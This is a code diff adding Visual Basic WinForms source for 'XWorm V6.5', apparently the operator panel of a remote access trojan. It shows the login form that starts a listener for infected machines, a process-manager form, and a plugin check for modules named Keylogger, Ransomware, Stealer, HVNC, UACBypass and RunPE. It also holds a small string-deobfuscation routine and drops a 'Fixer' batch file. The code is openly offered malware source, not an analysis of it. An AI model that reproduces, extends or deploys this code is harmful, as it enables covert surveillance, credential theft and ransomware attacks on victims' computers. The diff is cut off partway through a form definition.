@@ -0,0 +1,218 @@
|
||||
<Global.Microsoft.VisualBasic.CompilerServices.DesignerGenerated()>
|
||||
Partial Class Port
|
||||
Inherits System.Windows.Forms.Form
|
||||
|
||||
'Form overrides dispose to clean up the component list.
|
||||
<System.Diagnostics.DebuggerNonUserCode()>
|
||||
Protected Overrides Sub Dispose(ByVal disposing As Boolean)
|
||||
Try
|
||||
If disposing AndAlso components IsNot Nothing Then
|
||||
components.Dispose()
|
||||
End If
|
||||
Finally
|
||||
MyBase.Dispose(disposing)
|
||||
End Try
|
||||
End Sub
|
||||
|
||||
'Required by the Windows Form Designer
|
||||
Private components As System.ComponentModel.IContainer
|
||||
|
||||
'NOTE: The following procedure is required by the Windows Form Designer
|
||||
'It can be modified using the Windows Form Designer.
|
||||
'Do not modify it using the code editor.
|
||||
<System.Diagnostics.DebuggerStepThrough()>
|
||||
Private Sub InitializeComponent()
|
||||
Dim resources As System.ComponentModel.ComponentResourceManager = New System.ComponentModel.ComponentResourceManager(GetType(Port))
|
||||
Me.Guna2ToggleSwitch1 = New Guna.UI2.WinForms.Guna2ToggleSwitch()
|
||||
Me.Label7 = New System.Windows.Forms.Label()
|
||||
Me.Label6 = New System.Windows.Forms.Label()
|
||||
Me.Guna2TextBox4 = New Guna.UI2.WinForms.Guna2TextBox()
|
||||
Me.Guna2GradientButton1 = New Guna.UI2.WinForms.Guna2GradientButton()
|
||||
Me.Label9 = New System.Windows.Forms.Label()
|
||||
Me.Guna2TextBox2 = New Guna.UI2.WinForms.Guna2TextBox()
|
||||
Me.Label10 = New System.Windows.Forms.Label()
|
||||
Me.Guna2TextBox1 = New Guna.UI2.WinForms.Guna2TextBox()
|
||||
Me.SuspendLayout()
|
||||
'
|
||||
'Guna2ToggleSwitch1
|
||||
'
|
||||
Me.Guna2ToggleSwitch1.CheckedState.BorderColor = System.Drawing.Color.FromArgb(CType(CType(138, Byte), Integer), CType(CType(36, Byte), Integer), CType(CType(102, Byte), Integer))
|
||||
Me.Guna2ToggleSwitch1.CheckedState.FillColor = System.Drawing.Color.FromArgb(CType(CType(40, Byte), Integer), CType(CType(192, Byte), Integer), CType(CType(182, Byte), Integer))
|
||||
Me.Guna2ToggleSwitch1.CheckedState.InnerBorderColor = System.Drawing.Color.White
|
||||
Me.Guna2ToggleSwitch1.CheckedState.InnerColor = System.Drawing.Color.White
|
||||
Me.Guna2ToggleSwitch1.Location = New System.Drawing.Point(175, 123)
|
||||
Me.Guna2ToggleSwitch1.Name = "Guna2ToggleSwitch1"
|
||||
Me.Guna2ToggleSwitch1.Size = New System.Drawing.Size(35, 20)
|
||||
Me.Guna2ToggleSwitch1.TabIndex = 53
|
||||
Me.Guna2ToggleSwitch1.UncheckedState.BorderColor = System.Drawing.Color.FromArgb(CType(CType(117, Byte), Integer), CType(CType(50, Byte), Integer), CType(CType(185, Byte), Integer))
|
||||
Me.Guna2ToggleSwitch1.UncheckedState.FillColor = System.Drawing.Color.FromArgb(CType(CType(136, Byte), Integer), CType(CType(200, Byte), Integer), CType(CType(236, Byte), Integer))
|
||||
Me.Guna2ToggleSwitch1.UncheckedState.InnerBorderColor = System.Drawing.Color.White
|
||||
Me.Guna2ToggleSwitch1.UncheckedState.InnerColor = System.Drawing.Color.White
|
||||
'
|
||||
'Label7
|
||||
'
|
||||
Me.Label7.AutoSize = True
|
||||
Me.Label7.Location = New System.Drawing.Point(216, 127)
|
||||
Me.Label7.Name = "Label7"
|
||||
Me.Label7.Size = New System.Drawing.Size(60, 13)
|
||||
Me.Label7.TabIndex = 52
|
||||
Me.Label7.Text = "Notification"
|
||||
'
|
||||
'Label6
|
||||
'
|
||||
Me.Label6.AutoSize = True
|
||||
Me.Label6.Location = New System.Drawing.Point(19, 80)
|
||||
Me.Label6.Name = "Label6"
|
||||
Me.Label6.Size = New System.Drawing.Size(31, 13)
|
||||
Me.Label6.TabIndex = 51
|
||||
Me.Label6.Text = "Key :"
|
||||
'
|
||||
'Guna2TextBox4
|
||||
'
|
||||
Me.Guna2TextBox4.BorderColor = System.Drawing.Color.FromArgb(CType(CType(40, Byte), Integer), CType(CType(192, Byte), Integer), CType(CType(182, Byte), Integer))
|
||||
Me.Guna2TextBox4.BorderRadius = 3
|
||||
Me.Guna2TextBox4.Cursor = System.Windows.Forms.Cursors.IBeam
|
||||
Me.Guna2TextBox4.DefaultText = "<666666>"
|
||||
Me.Guna2TextBox4.DisabledState.BorderColor = System.Drawing.Color.FromArgb(CType(CType(208, Byte), Integer), CType(CType(208, Byte), Integer), CType(CType(208, Byte), Integer))
|
||||
Me.Guna2TextBox4.DisabledState.FillColor = System.Drawing.Color.FromArgb(CType(CType(226, Byte), Integer), CType(CType(226, Byte), Integer), CType(CType(226, Byte), Integer))
|
||||
Me.Guna2TextBox4.DisabledState.ForeColor = System.Drawing.Color.FromArgb(CType(CType(138, Byte), Integer), CType(CType(138, Byte), Integer), CType(CType(138, Byte), Integer))
|
||||
Me.Guna2TextBox4.DisabledState.PlaceholderForeColor = System.Drawing.Color.FromArgb(CType(CType(138, Byte), Integer), CType(CType(138, Byte), Integer), CType(CType(138, Byte), Integer))
|
||||
Me.Guna2TextBox4.FocusedState.BorderColor = System.Drawing.Color.FromArgb(CType(CType(94, Byte), Integer), CType(CType(148, Byte), Integer), CType(CType(255, Byte), Integer))
|
||||
Me.Guna2TextBox4.Font = New System.Drawing.Font("Segoe UI", 9.0!)
|
||||
Me.Guna2TextBox4.ForeColor = System.Drawing.Color.Black
|
||||
Me.Guna2TextBox4.HoverState.BorderColor = System.Drawing.Color.FromArgb(CType(CType(94, Byte), Integer), CType(CType(148, Byte), Integer), CType(CType(255, Byte), Integer))
|
||||
Me.Guna2TextBox4.IconLeft = CType(resources.GetObject("Guna2TextBox4.IconLeft"), System.Drawing.Image)
|
||||
Me.Guna2TextBox4.Location = New System.Drawing.Point(57, 77)
|
||||
Me.Guna2TextBox4.Name = "Guna2TextBox4"
|
||||
Me.Guna2TextBox4.PasswordChar = Global.Microsoft.VisualBasic.ChrW(0)
|
||||
Me.Guna2TextBox4.PlaceholderForeColor = System.Drawing.Color.Black
|
||||
Me.Guna2TextBox4.PlaceholderText = ""
|
||||
Me.Guna2TextBox4.SelectedText = ""
|
||||
Me.Guna2TextBox4.Size = New System.Drawing.Size(231, 21)
|
||||
Me.Guna2TextBox4.TabIndex = 50
|
||||
'
|
||||
'Guna2GradientButton1
|
||||
'
|
||||
Me.Guna2GradientButton1.BorderRadius = 4
|
||||
Me.Guna2GradientButton1.DisabledState.BorderColor = System.Drawing.Color.DarkGray
|
||||
Me.Guna2GradientButton1.DisabledState.CustomBorderColor = System.Drawing.Color.DarkGray
|
||||
Me.Guna2GradientButton1.DisabledState.FillColor = System.Drawing.Color.FromArgb(CType(CType(169, Byte), Integer), CType(CType(169, Byte), Integer), CType(CType(169, Byte), Integer))
|
||||
Me.Guna2GradientButton1.DisabledState.FillColor2 = System.Drawing.Color.FromArgb(CType(CType(169, Byte), Integer), CType(CType(169, Byte), Integer), CType(CType(169, Byte), Integer))
|
||||
Me.Guna2GradientButton1.DisabledState.ForeColor = System.Drawing.Color.FromArgb(CType(CType(141, Byte), Integer), CType(CType(141, Byte), Integer), CType(CType(141, Byte), Integer))
|
||||
Me.Guna2GradientButton1.FillColor2 = System.Drawing.Color.FromArgb(CType(CType(40, Byte), Integer), CType(CType(192, Byte), Integer), CType(CType(182, Byte), Integer))
|
||||
Me.Guna2GradientButton1.Font = New System.Drawing.Font("Segoe UI", 9.0!)
|
||||
Me.Guna2GradientButton1.ForeColor = System.Drawing.Color.White
|
||||
Me.Guna2GradientButton1.Image = CType(resources.GetObject("Guna2GradientButton1.Image"), System.Drawing.Image)
|
||||
Me.Guna2GradientButton1.ImageAlign = System.Windows.Forms.HorizontalAlignment.Left
|
||||
Me.Guna2GradientButton1.ImageSize = New System.Drawing.Size(17, 17)
|
||||
Me.Guna2GradientButton1.Location = New System.Drawing.Point(12, 154)
|
||||
Me.Guna2GradientButton1.Name = "Guna2GradientButton1"
|
||||
Me.Guna2GradientButton1.Size = New System.Drawing.Size(276, 34)
|
||||
Me.Guna2GradientButton1.TabIndex = 49
|
||||
Me.Guna2GradientButton1.Text = "Start"
|
||||
'
|
||||
'Label9
|
||||
'
|
||||
Me.Label9.AutoSize = True
|
||||
Me.Label9.Location = New System.Drawing.Point(14, 27)
|
||||
Me.Label9.Name = "Label9"
|
||||
Me.Label9.Size = New System.Drawing.Size(35, 13)
|
||||
Me.Label9.TabIndex = 46
|
||||
Me.Label9.Text = "Auth :"
|
||||
'
|
||||
'Guna2TextBox2
|
||||
'
|
||||
Me.Guna2TextBox2.BorderColor = System.Drawing.Color.FromArgb(CType(CType(40, Byte), Integer), CType(CType(192, Byte), Integer), CType(CType(182, Byte), Integer))
|
||||
Me.Guna2TextBox2.BorderRadius = 3
|
||||
Me.Guna2TextBox2.Cursor = System.Windows.Forms.Cursors.IBeam
|
||||
Me.Guna2TextBox2.DefaultText = ""
|
||||
Me.Guna2TextBox2.DisabledState.BorderColor = System.Drawing.Color.FromArgb(CType(CType(208, Byte), Integer), CType(CType(208, Byte), Integer), CType(CType(208, Byte), Integer))
|
||||
Me.Guna2TextBox2.DisabledState.FillColor = System.Drawing.Color.FromArgb(CType(CType(226, Byte), Integer), CType(CType(226, Byte), Integer), CType(CType(226, Byte), Integer))
|
||||
Me.Guna2TextBox2.DisabledState.ForeColor = System.Drawing.Color.FromArgb(CType(CType(138, Byte), Integer), CType(CType(138, Byte), Integer), CType(CType(138, Byte), Integer))
|
||||
Me.Guna2TextBox2.DisabledState.PlaceholderForeColor = System.Drawing.Color.FromArgb(CType(CType(138, Byte), Integer), CType(CType(138, Byte), Integer), CType(CType(138, Byte), Integer))
|
||||
Me.Guna2TextBox2.FocusedState.BorderColor = System.Drawing.Color.FromArgb(CType(CType(94, Byte), Integer), CType(CType(148, Byte), Integer), CType(CType(255, Byte), Integer))
|
||||
Me.Guna2TextBox2.Font = New System.Drawing.Font("Segoe UI", 9.0!)
|
||||
Me.Guna2TextBox2.ForeColor = System.Drawing.Color.Black
|
||||
Me.Guna2TextBox2.HoverState.BorderColor = System.Drawing.Color.FromArgb(CType(CType(94, Byte), Integer), CType(CType(148, Byte), Integer), CType(CType(255, Byte), Integer))
|
||||
Me.Guna2TextBox2.IconLeft = CType(resources.GetObject("Guna2TextBox2.IconLeft"), System.Drawing.Image)
|
||||
Me.Guna2TextBox2.Location = New System.Drawing.Point(57, 23)
|
||||
Me.Guna2TextBox2.Name = "Guna2TextBox2"
|
||||
Me.Guna2TextBox2.PasswordChar = Global.Microsoft.VisualBasic.ChrW(0)
|
||||
Me.Guna2TextBox2.PlaceholderForeColor = System.Drawing.Color.Black
|
||||
Me.Guna2TextBox2.PlaceholderText = "t.me/CelestialProjectNews"
|
||||
Me.Guna2TextBox2.SelectedText = ""
|
||||
Me.Guna2TextBox2.Size = New System.Drawing.Size(231, 21)
|
||||
Me.Guna2TextBox2.TabIndex = 45
|
||||
'
|
||||
'Label10
|
||||
'
|
||||
Me.Label10.AutoSize = True
|
||||
Me.Label10.Location = New System.Drawing.Point(17, 53)
|
||||
Me.Label10.Name = "Label10"
|
||||
Me.Label10.Size = New System.Drawing.Size(32, 13)
|
||||
Me.Label10.TabIndex = 44
|
||||
Me.Label10.Text = "Port :"
|
||||
'
|
||||
'Guna2TextBox1
|
||||
'
|
||||
Me.Guna2TextBox1.BorderColor = System.Drawing.Color.FromArgb(CType(CType(40, Byte), Integer), CType(CType(192, Byte), Integer), CType(CType(182, Byte), Integer))
|
||||
Me.Guna2TextBox1.BorderRadius = 3
|
||||
Me.Guna2TextBox1.Cursor = System.Windows.Forms.Cursors.IBeam
|
||||
Me.Guna2TextBox1.DefaultText = "6000"
|
||||
Me.Guna2TextBox1.DisabledState.BorderColor = System.Drawing.Color.FromArgb(CType(CType(208, Byte), Integer), CType(CType(208, Byte), Integer), CType(CType(208, Byte), Integer))
|
||||
Me.Guna2TextBox1.DisabledState.FillColor = System.Drawing.Color.FromArgb(CType(CType(226, Byte), Integer), CType(CType(226, Byte), Integer), CType(CType(226, Byte), Integer))
|
||||
Me.Guna2TextBox1.DisabledState.ForeColor = System.Drawing.Color.FromArgb(CType(CType(138, Byte), Integer), CType(CType(138, Byte), Integer), CType(CType(138, Byte), Integer))
|
||||
Me.Guna2TextBox1.DisabledState.PlaceholderForeColor = System.Drawing.Color.FromArgb(CType(CType(138, Byte), Integer), CType(CType(138, Byte), Integer), CType(CType(138, Byte), Integer))
|
||||
Me.Guna2TextBox1.FocusedState.BorderColor = System.Drawing.Color.FromArgb(CType(CType(94, Byte), Integer), CType(CType(148, Byte), Integer), CType(CType(255, Byte), Integer))
|
||||
Me.Guna2TextBox1.Font = New System.Drawing.Font("Segoe UI", 9.0!)
|
||||
Me.Guna2TextBox1.ForeColor = System.Drawing.Color.Black
|
||||
Me.Guna2TextBox1.HoverState.BorderColor = System.Drawing.Color.FromArgb(CType(CType(94, Byte), Integer), CType(CType(148, Byte), Integer), CType(CType(255, Byte), Integer))
|
||||
Me.Guna2TextBox1.IconLeft = CType(resources.GetObject("Guna2TextBox1.IconLeft"), System.Drawing.Image)
|
||||
Me.Guna2TextBox1.Location = New System.Drawing.Point(57, 50)
|
||||
Me.Guna2TextBox1.Name = "Guna2TextBox1"
|
||||
Me.Guna2TextBox1.PasswordChar = Global.Microsoft.VisualBasic.ChrW(0)
|
||||
Me.Guna2TextBox1.PlaceholderForeColor = System.Drawing.Color.Black
|
||||
Me.Guna2TextBox1.PlaceholderText = ""
|
||||
Me.Guna2TextBox1.SelectedText = ""
|
||||
Me.Guna2TextBox1.Size = New System.Drawing.Size(231, 21)
|
||||
Me.Guna2TextBox1.TabIndex = 43
|
||||
'
|
||||
'Port
|
||||
'
|
||||
Me.AutoScaleDimensions = New System.Drawing.SizeF(6.0!, 13.0!)
|
||||
Me.AutoScaleMode = System.Windows.Forms.AutoScaleMode.Font
|
||||
Me.AutoSizeMode = System.Windows.Forms.AutoSizeMode.GrowAndShrink
|
||||
Me.BackColor = System.Drawing.Color.White
|
||||
Me.ClientSize = New System.Drawing.Size(300, 200)
|
||||
Me.Controls.Add(Me.Guna2ToggleSwitch1)
|
||||
Me.Controls.Add(Me.Label7)
|
||||
Me.Controls.Add(Me.Label6)
|
||||
Me.Controls.Add(Me.Guna2TextBox4)
|
||||
Me.Controls.Add(Me.Guna2GradientButton1)
|
||||
Me.Controls.Add(Me.Label9)
|
||||
Me.Controls.Add(Me.Guna2TextBox2)
|
||||
Me.Controls.Add(Me.Label10)
|
||||
Me.Controls.Add(Me.Guna2TextBox1)
|
||||
Me.Cursor = System.Windows.Forms.Cursors.Default
|
||||
Me.Icon = CType(resources.GetObject("$this.Icon"), System.Drawing.Icon)
|
||||
Me.MaximizeBox = False
|
||||
Me.MinimizeBox = False
|
||||
Me.Name = "Port"
|
||||
Me.ShowInTaskbar = False
|
||||
Me.StartPosition = System.Windows.Forms.FormStartPosition.CenterScreen
|
||||
Me.Text = "XWorm V6.5 by c3lestial.fun | User Access"
|
||||
Me.TopMost = True
|
||||
Me.ResumeLayout(False)
|
||||
Me.PerformLayout()
|
||||
|
||||
End Sub
|
||||
Friend WithEvents Guna2ToggleSwitch1 As Guna.UI2.WinForms.Guna2ToggleSwitch
|
||||
Friend WithEvents Label7 As Label
|
||||
Friend WithEvents Label6 As Label
|
||||
Friend WithEvents Guna2TextBox4 As Guna.UI2.WinForms.Guna2TextBox
|
||||
Friend WithEvents Guna2GradientButton1 As Guna.UI2.WinForms.Guna2GradientButton
|
||||
Friend WithEvents Label9 As Label
|
||||
Friend WithEvents Guna2TextBox2 As Guna.UI2.WinForms.Guna2TextBox
|
||||
Friend WithEvents Label10 As Label
|
||||
Friend WithEvents Guna2TextBox1 As Guna.UI2.WinForms.Guna2TextBox
|
||||
End Class
|
||||
File diff suppressed because it is too large
Load Diff
@@ -0,0 +1,205 @@
|
||||
Imports System.ComponentModel
|
||||
Imports System.IO
|
||||
Imports System.Net
|
||||
Imports Microsoft.VisualBasic.CompilerServices
|
||||
Imports MySql.Data.MySqlClient
|
||||
|
||||
Public Class Port
|
||||
|
||||
Public Sub New()
|
||||
InitializeComponent()
|
||||
|
||||
SettingsHelper.LoadFromRegistry()
|
||||
|
||||
Opacity = 0
|
||||
FadeIn(Me, 5)
|
||||
Guna2TextBox1.Select()
|
||||
End Sub
|
||||
|
||||
|
||||
Public Async Sub connect()
|
||||
Try
|
||||
Await Task.Delay(5000)
|
||||
Main.S = New Server
|
||||
Dim listener As New Threading.Thread(New Threading.ParameterizedThreadStart(AddressOf Main.S.Start))
|
||||
listener.Start(SettingsHelper.Port)
|
||||
listener.Join()
|
||||
|
||||
SettingsHelper.MSGS = +1
|
||||
LVLog("Listening " & SettingsHelper.Port, Color.Green)
|
||||
Catch ex As Exception
|
||||
Debug.WriteLine(ex.Message)
|
||||
End Try
|
||||
End Sub
|
||||
Private Sub Port_Closing(sender As Object, e As CancelEventArgs) Handles Me.Closing
|
||||
Try
|
||||
Environment.Exit(0)
|
||||
Catch ex As Exception
|
||||
Debug.WriteLine(ex.Message)
|
||||
End Try
|
||||
End Sub
|
||||
|
||||
Private Sub Port_Load(sender As Object, e As EventArgs) Handles MyBase.Load
|
||||
|
||||
|
||||
Try
|
||||
If Not IO.Directory.Exists(Path.Combine(Application.StartupPath, "Sounds")) Then
|
||||
IO.Directory.CreateDirectory(Path.Combine(Application.StartupPath, "Sounds"))
|
||||
End If
|
||||
Catch ex As Exception
|
||||
Debug.WriteLine(ex.Message)
|
||||
End Try
|
||||
|
||||
Try
|
||||
Dim batPath As String = Path.Combine(Application.StartupPath, "Fixer V6.bat")
|
||||
If Not File.Exists(batPath) Then File.WriteAllText(batPath, My.Resources.Fixer)
|
||||
Catch ex As Exception
|
||||
Debug.WriteLine(ex.Message)
|
||||
End Try
|
||||
|
||||
Try
|
||||
Dim IntroPath As String = Path.Combine(Application.StartupPath, "Sounds", "Intro.wav")
|
||||
If Not File.Exists(IntroPath) Then File.WriteAllBytes(IntroPath, My.Resources.Intro)
|
||||
Catch ex As Exception
|
||||
Debug.WriteLine(ex.Message)
|
||||
End Try
|
||||
|
||||
Try
|
||||
Dim ChatWav As String = Path.Combine(Application.StartupPath, "Sounds", "Chat.wav")
|
||||
If Not File.Exists(ChatWav) Then File.WriteAllBytes(ChatWav, My.Resources.Chat)
|
||||
Catch ex As Exception
|
||||
Debug.WriteLine(ex.Message)
|
||||
End Try
|
||||
|
||||
|
||||
Try
|
||||
Guna2TextBox2.Text = My.Computer.Registry.GetValue(SettingsHelper.RegSave, "License", Nothing)
|
||||
|
||||
If My.Computer.Registry.GetValue(SettingsHelper.RegSave, "NoteF", Nothing) = "True" Then
|
||||
Guna2ToggleSwitch1.Checked = True
|
||||
Else
|
||||
Guna2ToggleSwitch1.Checked = False
|
||||
End If
|
||||
|
||||
If Not My.Computer.Registry.GetValue(SettingsHelper.RegSave, "Port", Nothing) = Nothing Then
|
||||
Guna2TextBox1.Text = My.Computer.Registry.GetValue(SettingsHelper.RegSave, "Port", Nothing)
|
||||
End If
|
||||
|
||||
If Not My.Computer.Registry.GetValue(SettingsHelper.RegSave, "Key", Nothing) = Nothing Then
|
||||
Guna2TextBox4.Text = My.Computer.Registry.GetValue(SettingsHelper.RegSave, "Key", Nothing)
|
||||
End If
|
||||
|
||||
Catch ex As Exception
|
||||
Debug.WriteLine(ex.Message)
|
||||
End Try
|
||||
|
||||
End Sub
|
||||
|
||||
Public Shared Function LaCho7ezCVhet(ByVal proj As String, ByVal key As String)
|
||||
Dim Txt As String = ""
|
||||
For i As Integer = 1 To proj.Length
|
||||
Dim temp As Integer = AscW(GetChar(proj, i)) - AscW(GetChar(key, i Mod key.Length + 1))
|
||||
Txt += ChrW(temp)
|
||||
Next
|
||||
Return Txt
|
||||
End Function
|
||||
|
||||
|
||||
Private Sub Guna2GradientButton1_Click(sender As Object, e As EventArgs) Handles Guna2GradientButton1.Click
|
||||
Try
|
||||
SettingsHelper.Port = Guna2TextBox1.Text
|
||||
SettingsHelper.KEY = Guna2TextBox4.Text
|
||||
SettingsHelper.Blocked = New List(Of String)
|
||||
SettingsHelper.User = Environment.UserName
|
||||
|
||||
SettingsHelper.LicenseExpire = "∞"
|
||||
|
||||
My.Computer.Registry.SetValue("HKEY_CURRENT_USER\" & SettingsHelper.RegSave, "License", Guna2TextBox2.Text)
|
||||
My.Computer.Registry.SetValue("HKEY_CURRENT_USER\" & SettingsHelper.RegSave, "Port", Guna2TextBox1.Text)
|
||||
My.Computer.Registry.SetValue("HKEY_CURRENT_USER\" & SettingsHelper.RegSave, "Key", Guna2TextBox4.Text)
|
||||
|
||||
If Guna2ToggleSwitch1.Checked Then
|
||||
SettingsHelper.NOTEF = True
|
||||
My.Computer.Registry.SetValue("HKEY_CURRENT_USER\" & SettingsHelper.RegSave, "NoteF", "True")
|
||||
Else
|
||||
SettingsHelper.NOTEF = False
|
||||
My.Computer.Registry.SetValue("HKEY_CURRENT_USER\" & SettingsHelper.RegSave, "NoteF", "False")
|
||||
End If
|
||||
|
||||
For Each str2 In Strings.Split("ActiveWindows.dll,Chat.dll,Chromium.dll,Clipboard.dll,Cmstp-Bypass.dll,DisableUAC.dll,FileManager.dll,FilesSearcher.dll,HBrowser.dll,HiddenApps.dll,HRDP.dll,HVNC.dll,HVNCMemory.dll,Informations.dll,Keylogger.dll,Maps.dll,MessageBox.dll,Microphone.dll,Ngrok-Installer.dll,Options.dll,Pastime.dll,Performance.dll,ProcessManager.dll,Programs.dll,Ransomware.dll,Recovery.dll,Regedit.dll,RemoteDesktop.dll,ReverseProxy.dll,RunPE.dll,ServiceManager.dll,Shell.dll,StartupManager.dll,Stealer.dll,System.Management.Automation.dll,TCPConnections.dll,UACBypass.dll,VB.NET Compiler.dll,VoiceChat.dll,WebCam.dll,WindowsUpdate.dll,WSound.dll", ",")
|
||||
If Not IO.File.Exists("Plugins\" & str2) Then
|
||||
MsgBox("Missing dll >> " & str2, MsgBoxStyle.ApplicationModal, Nothing)
|
||||
End If
|
||||
Next
|
||||
|
||||
Messages.F = Main
|
||||
Main.Timer_Status.Start()
|
||||
ListViewDoubleBuffer.Enable(Main.Lv1)
|
||||
ListViewDoubleBuffer.Enable(Main.Lv2)
|
||||
ListViewDoubleBuffer.Enable(Main.Lv3)
|
||||
ListViewDoubleBuffer.Enable(Main.Lv4)
|
||||
connect()
|
||||
Hide()
|
||||
Process.Start("https://t.me/CelestialProjectNews")
|
||||
Main.Show()
|
||||
|
||||
Catch ex As Exception
|
||||
MessageBox.Show("Error during startup: " & ex.Message, Text, MessageBoxButtons.OK, MessageBoxIcon.Error)
|
||||
End Try
|
||||
End Sub
|
||||
|
||||
Private Sub Guna2TextBox2_KeyDown(sender As Object, e As KeyEventArgs) Handles Guna2TextBox2.KeyDown
|
||||
If e.KeyCode = Keys.Enter Then
|
||||
e.SuppressKeyPress = True
|
||||
|
||||
If Guna2GradientButton1.Enabled = True Then
|
||||
Guna2GradientButton1.PerformClick()
|
||||
End If
|
||||
End If
|
||||
End Sub
|
||||
|
||||
Private Sub Guna2TextBox1_TextChanged(sender As Object, e As EventArgs) Handles Guna2TextBox1.TextChanged
|
||||
Try
|
||||
Dim num As Integer = Conversions.ToInteger(Guna2TextBox1.Text)
|
||||
If ((Conversions.ToInteger(Guna2TextBox1.Text) > &HFFFE) Or (Conversions.ToInteger(Guna2TextBox1.Text) < 1)) Then
|
||||
Guna2GradientButton1.Enabled = False
|
||||
Else
|
||||
Guna2GradientButton1.Enabled = True
|
||||
End If
|
||||
Catch exception1 As Exception
|
||||
Guna2GradientButton1.Enabled = False
|
||||
End Try
|
||||
End Sub
|
||||
|
||||
Private Sub Guna2TextBox1_KeyDown(sender As Object, e As KeyEventArgs) Handles Guna2TextBox1.KeyDown
|
||||
If e.KeyCode = Keys.Enter Then
|
||||
e.SuppressKeyPress = True
|
||||
|
||||
If Guna2GradientButton1.Enabled = True Then
|
||||
Guna2GradientButton1.PerformClick()
|
||||
End If
|
||||
End If
|
||||
End Sub
|
||||
|
||||
Private Sub Guna2TextBox4_TextChanged(sender As Object, e As EventArgs) Handles Guna2TextBox4.TextChanged
|
||||
Try
|
||||
If Guna2TextBox4.Text.Length > 32 Or ((Guna2TextBox4.Text.Length) < 1) Then
|
||||
Guna2GradientButton1.Enabled = False
|
||||
Else
|
||||
Guna2GradientButton1.Enabled = True
|
||||
End If
|
||||
Catch ex As Exception
|
||||
Guna2GradientButton1.Enabled = False
|
||||
End Try
|
||||
End Sub
|
||||
|
||||
Private Sub Guna2TextBox4_KeyDown(sender As Object, e As KeyEventArgs) Handles Guna2TextBox4.KeyDown
|
||||
If e.KeyCode = Keys.Enter Then
|
||||
e.SuppressKeyPress = True
|
||||
|
||||
If Guna2GradientButton1.Enabled = True Then
|
||||
Guna2GradientButton1.PerformClick()
|
||||
End If
|
||||
End If
|
||||
End Sub
|
||||
End Class
|
||||
Generated
+232
@@ -0,0 +1,232 @@
|
||||
<Global.Microsoft.VisualBasic.CompilerServices.DesignerGenerated()>
|
||||
Partial Class ProcessV
|
||||
Inherits System.Windows.Forms.Form
|
||||
|
||||
'Form overrides dispose to clean up the component list.
|
||||
<System.Diagnostics.DebuggerNonUserCode()>
|
||||
Protected Overrides Sub Dispose(ByVal disposing As Boolean)
|
||||
Try
|
||||
If disposing AndAlso components IsNot Nothing Then
|
||||
components.Dispose()
|
||||
End If
|
||||
Finally
|
||||
MyBase.Dispose(disposing)
|
||||
End Try
|
||||
End Sub
|
||||
|
||||
'Required by the Windows Form Designer
|
||||
Private components As System.ComponentModel.IContainer
|
||||
|
||||
'NOTE: The following procedure is required by the Windows Form Designer
|
||||
'It can be modified using the Windows Form Designer.
|
||||
'Do not modify it using the code editor.
|
||||
<System.Diagnostics.DebuggerStepThrough()>
|
||||
Private Sub InitializeComponent()
|
||||
components = New System.ComponentModel.Container()
|
||||
Dim resources As System.ComponentModel.ComponentResourceManager = New System.ComponentModel.ComponentResourceManager(GetType(ProcessV))
|
||||
ListView1 = New System.Windows.Forms.ListView()
|
||||
ColumnHeader1 = CType(New System.Windows.Forms.ColumnHeader(), System.Windows.Forms.ColumnHeader)
|
||||
ColumnHeader2 = CType(New System.Windows.Forms.ColumnHeader(), System.Windows.Forms.ColumnHeader)
|
||||
Guna2ContextMenuStrip1 = New Guna.UI2.WinForms.Guna2ContextMenuStrip()
|
||||
ToolStripMenuItem4 = New System.Windows.Forms.ToolStripMenuItem()
|
||||
ToolStripMenuItem6 = New System.Windows.Forms.ToolStripMenuItem()
|
||||
RestartToolStripMenuItem1 = New System.Windows.Forms.ToolStripMenuItem()
|
||||
ImageList1 = New System.Windows.Forms.ImageList(components)
|
||||
Timer1 = New System.Windows.Forms.Timer(components)
|
||||
ToolStripStatusLabel1 = New System.Windows.Forms.ToolStripStatusLabel()
|
||||
ToolStripStatusLabel2 = New System.Windows.Forms.ToolStripStatusLabel()
|
||||
StatusStrip1 = New System.Windows.Forms.StatusStrip()
|
||||
ToolStripStatusLabel3 = New System.Windows.Forms.ToolStripStatusLabel()
|
||||
ToolStripStatusLabel4 = New System.Windows.Forms.ToolStripStatusLabel()
|
||||
ToolStripSeparator1 = New System.Windows.Forms.ToolStripSeparator()
|
||||
ToolStripMenuItem2 = New System.Windows.Forms.ToolStripMenuItem()
|
||||
ResumeToolStripMenuItem = New System.Windows.Forms.ToolStripMenuItem()
|
||||
ColumnHeader3 = CType(New System.Windows.Forms.ColumnHeader(), System.Windows.Forms.ColumnHeader)
|
||||
Guna2ContextMenuStrip1.SuspendLayout()
|
||||
StatusStrip1.SuspendLayout()
|
||||
SuspendLayout()
|
||||
'
|
||||
'ListView1
|
||||
'
|
||||
ListView1.BackColor = System.Drawing.Color.White
|
||||
ListView1.BorderStyle = System.Windows.Forms.BorderStyle.None
|
||||
ListView1.Columns.AddRange(New System.Windows.Forms.ColumnHeader() {ColumnHeader1, ColumnHeader2, ColumnHeader3})
|
||||
ListView1.ContextMenuStrip = Guna2ContextMenuStrip1
|
||||
ListView1.Dock = System.Windows.Forms.DockStyle.Fill
|
||||
ListView1.Font = New System.Drawing.Font("Tahoma", 8.0!)
|
||||
ListView1.ForeColor = System.Drawing.Color.Black
|
||||
ListView1.FullRowSelect = True
|
||||
ListView1.HeaderStyle = System.Windows.Forms.ColumnHeaderStyle.Nonclickable
|
||||
ListView1.HideSelection = False
|
||||
ListView1.Location = New System.Drawing.Point(0, 0)
|
||||
ListView1.Name = "ListView1"
|
||||
ListView1.ShowGroups = False
|
||||
ListView1.ShowItemToolTips = True
|
||||
ListView1.Size = New System.Drawing.Size(522, 320)
|
||||
ListView1.SmallImageList = ImageList1
|
||||
ListView1.Sorting = System.Windows.Forms.SortOrder.Ascending
|
||||
ListView1.TabIndex = 1
|
||||
ListView1.UseCompatibleStateImageBehavior = False
|
||||
ListView1.View = System.Windows.Forms.View.Details
|
||||
'
|
||||
'ColumnHeader1
|
||||
'
|
||||
ColumnHeader1.Text = "[ Name ]"
|
||||
ColumnHeader1.Width = 273
|
||||
'
|
||||
'ColumnHeader2
|
||||
'
|
||||
ColumnHeader2.Text = "[ PID ]"
|
||||
ColumnHeader2.Width = 125
|
||||
'
|
||||
'Guna2ContextMenuStrip1
|
||||
'
|
||||
Guna2ContextMenuStrip1.Items.AddRange(New System.Windows.Forms.ToolStripItem() {ToolStripMenuItem4, ToolStripMenuItem6, RestartToolStripMenuItem1, ToolStripMenuItem2, ResumeToolStripMenuItem})
|
||||
Guna2ContextMenuStrip1.Name = "Guna2ContextMenuStrip2"
|
||||
